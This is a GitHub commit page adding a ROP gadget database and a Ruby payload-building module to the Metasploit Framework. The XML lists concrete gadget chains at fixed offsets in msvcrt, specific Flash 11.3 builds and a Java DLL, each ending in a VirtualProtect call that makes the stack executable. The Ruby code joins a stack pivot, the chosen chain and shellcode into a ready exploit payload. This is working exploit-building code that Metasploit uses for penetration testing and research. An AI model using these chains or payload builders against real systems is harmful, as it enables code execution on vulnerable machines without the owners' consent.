Skip to content

Commit a1bc48e

Browse files
committed
Merge branch 'ropdb' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ropdb
2 parents e6e2554 + f2c7731 commit a1bc48e

File tree

4 files changed

+341
-0
lines changed

4 files changed

+341
-0
lines changed

data/ropdb/ropdb.xml

Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
<?xml version="1.0" encoding="ISO-8859-1"?>
2+
<db>
3+
<rop name='msvcrt'>
4+
<compatibility>
5+
<target>WINDOWS XP SP2</target>
6+
<target>WINDOWS XP SP3</target>
7+
</compatibility>
8+
9+
<gadgets base="0x77c10000">
10+
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
11+
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
12+
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
13+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
14+
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
15+
<gadget value="0x00000040">0x00000040-> edx</gadget>
16+
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
17+
<gadget offset="0x0004d9bb">Writable location</gadget>
18+
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
19+
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
20+
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
21+
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
22+
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
23+
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
24+
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
25+
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
26+
</gadgets>
27+
</rop>
28+
29+
<rop name='msvcrt'>
30+
<compatibility>
31+
<target>WINDOWS SERVER 2003 SP1</target>
32+
<target>WINDOWS SERVER 2003 SP2</target>
33+
</compatibility>
34+
35+
<gadgets base="0x77ba0000">
36+
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
37+
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
38+
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
39+
<gadget value="junk">Filler</gadget>
40+
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
41+
<gadget offset="0x00026320">POP EBP # RETN</gadget>
42+
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
43+
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
44+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
45+
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
46+
<gadget value="0x00000040">0x00000040-> edx</gadget>
47+
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
48+
<gadget offset="0x0004ff56">Writable location</gadget>
49+
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
50+
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
51+
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
52+
<gadget value="nop">nop</gadget>
53+
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
54+
</gadgets>
55+
</rop>
56+
57+
<rop name='flash'>
58+
<compatibility>
59+
<target>11.3.300.257</target>
60+
</compatibility>
61+
62+
<gadgets base="0x10000000">
63+
<gadget offset="0x00243043">POP EAX # RETN</gadget>
64+
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
65+
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
66+
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
67+
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
68+
<gadget offset="0x002ed0f1">jmp esp</gadget>
69+
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
70+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
71+
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
72+
<gadget value="0x00000040">0x00000040-> edx</gadget>
73+
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
74+
<gadget offset="0x00955ebe">Writable location</gadget>
75+
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
76+
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
77+
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
78+
<gadget value="nop">nop</gadget>
79+
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
80+
</gadgets>
81+
</rop>
82+
83+
<rop name='flash'>
84+
<compatibility>
85+
<target>11.3.300.265</target>
86+
</compatibility>
87+
88+
<gadgets base="0x10000000">
89+
<gadget offset="0x00487414">POP EAX # RETN</gadget>
90+
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
91+
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
92+
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
93+
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
94+
<gadget offset="0x002d8d5c">jmp esp</gadget>
95+
<gadget offset="0x00005604">POP EBX # RETN</gadget>
96+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
97+
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
98+
<gadget value="0x00000040">0x00000040-> edx</gadget>
99+
<gadget offset="0x004087db">POP ECX # RETN</gadget>
100+
<gadget offset="0x00955197">Writable location</gadget>
101+
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
102+
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
103+
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
104+
<gadget value="nop">nop</gadget>
105+
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
106+
</gadgets>
107+
</rop>
108+
109+
<rop name='flash'>
110+
<compatibility>
111+
<target>11.3.300.268</target>
112+
</compatibility>
113+
114+
<gadgets base="0x10000000">
115+
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
116+
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
117+
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
118+
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
119+
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
120+
<gadget offset="0x002b95bb">jmp esp</gadget>
121+
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
122+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
123+
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
124+
<gadget value="0x00000040">0x00000040-> edx</gadget>
125+
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
126+
<gadget offset="0x0092027a">Writable location</gadget>
127+
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
128+
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
129+
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
130+
<gadget value="nop">nop</gadget>
131+
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
132+
</gadgets>
133+
</rop>
134+
135+
<rop name='java'>
136+
<compatibility>
137+
<target>*</target>
138+
</compatibility>
139+
140+
<gadgets base="0x7c340000">
141+
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
142+
<gadget offset="0x0000252c">skip 4 bytes</gadget>
143+
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
144+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
145+
<gadget offset="0x00005249">POP EDX # RETN</gadget>
146+
<gadget value="0x00000040">0x00000040-> edx</gadget>
147+
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
148+
<gadget offset="0x00051897">Writable location</gadget>
149+
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
150+
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
151+
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
152+
<gadget offset="0x000015a2">JMP [EAX]</gadget>
153+
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
154+
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
155+
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
156+
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
157+
</gadgets>
158+
</rop>
159+
</db>

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
require 'msf/core/exploit/seh'
1616
require 'msf/core/exploit/kernel_mode'
1717
require 'msf/core/exploit/exe'
18+
require 'msf/core/exploit/ropdb'
1819

1920
# CmdStagers
2021
require 'msf/core/exploit/cmdstager'

lib/msf/core/exploit/ropdb.rb

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# -*- coding: binary -*-
2+
require 'rex/exploitation/ropdb'
3+
4+
##
5+
#
6+
# This mixin provides an interface to selecting a ROP chain, or creating a payload with
7+
# ROP using the Rex::Exploitation::RopDb class.
8+
#
9+
##
10+
11+
module Msf
12+
module Exploit::RopDb
13+
14+
def initialize(info = {})
15+
@rop_db = Rex::Exploitation::RopDb.new
16+
super
17+
end
18+
19+
def has_rop?(rop)
20+
@rop_db.has_rop?(rop)
21+
end
22+
23+
def select_rop(rop, opts={})
24+
rop = @rop_db.select_rop(rop, opts)
25+
return rop
26+
end
27+
28+
def generate_rop_payload(rop, payload, opts={})
29+
opts['badchars'] ||= payload_badchars
30+
rop_payload = @rop_db.generate_rop_payload(rop, payload, opts)
31+
return rop_payload
32+
end
33+
34+
end
35+
end

lib/rex/exploitation/ropdb.rb

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
require 'rex/text'
2+
require 'rexml/document'
3+
4+
5+
module Rex
6+
module Exploitation
7+
8+
###
9+
#
10+
# This class provides methods to access the ROP database, in order to generate
11+
# a ROP-compatible payload on the fly.
12+
#
13+
###
14+
class RopDb
15+
def initialize
16+
f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml'))
17+
@xml = REXML::Document.new(f.read)
18+
f.close
19+
end
20+
21+
public
22+
23+
24+
#
25+
# Returns true if a ROP chain is available, otherwise false
26+
#
27+
def has_rop?(rop)
28+
@xml.elements.each("db/rop") { |e|
29+
name = e.attributes['name']
30+
return true if name =~ /#{rop}/i
31+
}
32+
return false
33+
end
34+
35+
#
36+
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
37+
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size.
38+
# Note if no RoP is found, it returns an empry array.
39+
# Arguments:
40+
# rop_name - name of the ROP chain.
41+
# opts - A hash of optional arguments:
42+
# 'target' - A regex string search against the compatibility list.
43+
# 'base' - Specify a different base for the ROP gadgets.
44+
#
45+
def select_rop(rop, opts={})
46+
target = opts['target'] || ''
47+
base = opts['base'] || nil
48+
49+
gadgets = []
50+
@xml.elements.each("db/rop") { |e|
51+
name = e.attributes['name']
52+
next if name !~ /^#{rop}$/i
53+
next if not has_target?(e, target)
54+
55+
if not base
56+
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
57+
base = default.to_i(16)
58+
end
59+
60+
e.elements.each('gadgets/gadget') { |g|
61+
offset = g.attributes['offset']
62+
value = g.attributes['value']
63+
64+
if offset
65+
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
66+
gadgets << (base + addr.to_i(16))
67+
elsif value
68+
case value
69+
when 'nop'
70+
gadgets << :nop
71+
when 'junk'
72+
gadgets << :junk
73+
when 'size'
74+
gadgets << :size
75+
when 'size_negate'
76+
gadgets << :size_negate
77+
else
78+
gadgets << value.to_i(16)
79+
end
80+
else
81+
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
82+
end
83+
}
84+
}
85+
gadgets = gadgets.flatten
86+
return gadgets
87+
end
88+
89+
90+
#
91+
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
92+
# and then shellcode.
93+
# Arguments:
94+
# rop - Name of the ROP chain
95+
# payload - Payload in binary
96+
# opts - A hash of optional arguments:
97+
# 'nop' - Used to generate nops with generate_sled()
98+
# 'badchars' - Used in a junk gadget
99+
# 'pivot' - Stack pivot in binary
100+
# 'target' - A regex string search against the compatibility list.
101+
# 'base' - Specify a different base for the ROP gadgets.
102+
#
103+
def generate_rop_payload(rop, payload, opts={})
104+
nop = opts['nop'] || nil
105+
badchars = opts['badchars'] || ''
106+
pivot = opts['pivot'] || ''
107+
target = opts['target'] || ''
108+
base = opts['base'] || nil
109+
110+
rop = select_rop(rop, {'target'=>target, 'base'=>base})
111+
# Replace the reserved words with actual gadgets
112+
rop = rop.map {|e|
113+
if e == :nop
114+
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
115+
elsif e == :junk
116+
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
117+
elsif e == :size
118+
payload.length
119+
elsif e == :size_negate
120+
0xffffffff - payload.length + 1
121+
else
122+
e
123+
end
124+
}.pack("V*")
125+
126+
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
127+
128+
return pivot + rop + payload
129+
end
130+
131+
private
132+
133+
134+
#
135+
# Checks if a ROP chain is compatible
136+
#
137+
def has_target?(rop, target)
138+
rop.elements.each('compatibility/target') { |t|
139+
return true if t.text =~ /#{target}/i
140+
}
141+
return false
142+
end
143+
end
144+
145+
end
146+
end

0 commit comments

Comments
 (0)